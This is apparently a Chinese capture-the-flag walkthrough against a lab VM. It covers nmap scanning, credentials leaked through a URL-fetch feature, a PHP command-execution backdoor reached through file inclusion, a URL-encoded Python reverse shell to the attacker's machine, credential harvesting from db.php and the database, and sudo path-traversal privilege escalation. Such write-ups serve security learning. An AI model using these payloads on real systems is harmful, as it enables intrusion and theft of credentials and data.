目标 IP:192.168.134.146

攻击机:Kali Linux(192.168.134.137)

信息收集

由于该靶机设置为NAT网络,因此得知其归属网段为192.168.134.0/24。使用nmap指令找出该网段内存在的主机。

nmap -sP 192.168.134.0/24 #进行主机扫描

从扫描结果得知一个非本机的主机ip地址:192.168.134.146,遂对该ip地址进行深度端口扫描。

Namp -sV -sC -p- -T4 192.168.134.146

由扫描结果可知80端口上存在一个Web应用(Apache 2.4.62,CentOS操作系统),对该Web进行访问。

渗透过程

1. 初始入口

访问 Web 系统后注册普通账号。进入“网站测试功能”,发现其会向指定 URL 发起请求并返回响应头。

在 Kali 上搭建监听服务,使用python脚本进行监听

使靶机访问 http://192.168.134.137,捕获到请求头中包含:

Authorization: Basic ZnVsa...(Base64)
解码得凭证:fuli:wsGdwWQZTu7U4seseGaG。

2. 登录获取高权限,发现管理页面

使用该凭证登录“项目文件查看”和“文件包含测试”。

在当前目录(/var/www/html/api)发现可疑文件 mgmt_page。

访问后提示输入密码,查看源码发现

 <?php
// 设置密码
$correct_password_hash = '96e44fa82e5a5263fb92337be422d3eb'; 

// 检查密码是否正确
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['password'])) {
    $input_password = $_GET['password'];
    
    if (strlen($input_password) !== 5) {
        $error = "密码长度不正确";
    } elseif (md5($input_password) === $correct_password_hash) {
        $authenticated = true;
        
        // 如果已认证且传入了cmd参数,执行命令
        if (isset($_GET['cmd'])) {
            $output = shell_exec($_GET['cmd']);
        }
    } else {
        $error = "密码错误";
    }
}
?>

破解md5得明文密码:SOUTH。

3. LFI + RCE 实现命令执行

通过“文件包含测试”功能构造 URL:

/include.php?file=mgmt_page&password=SOUTH&cmd=id

验证命令可执行。随后利用 Python 反弹 Shell:

192.168.134.146/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22192.168.134.137%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.sock
et();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)
%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27

Kali 上 nc -lvnp 4444 成功反弹Shell。

4. 本地信息收集与 flag1

在 Shell 中执行:

cat /var/www/flag1.txt

获得 flag1

同时读取/var/www/html/db.php,获取 MySQL root 密码:bd6d6wEZdTr2QNkk.l。

5. 连接数据库与切换用户

连接数据库:

mysql -u root -p bd6d6wEZdTr2QNkk.l

查询 users 表,得到 admin 密码:9eaf9317aac50c955575334a93d0b9c。

MD5 破解得明文:chispa。

尝试 su benjamin,输入密码 chispa 成功切换用户。

6. 获取 flag2

读取家目录文件:

cat /home/benjamin/flag2.txt

获得 flag2:

flag{8437b8760a7a4717ad4e41568a9301e}

7. sudo 路径遍历提权拿 flag3

执行 sudo -l,发现:

(ALL) NOPASSWD: /bin/cat /root/notes/*

利用路径遍历绕过限制:

sudo /bin/cat /root/notes/../../flag3.txt

成功读取 flag3: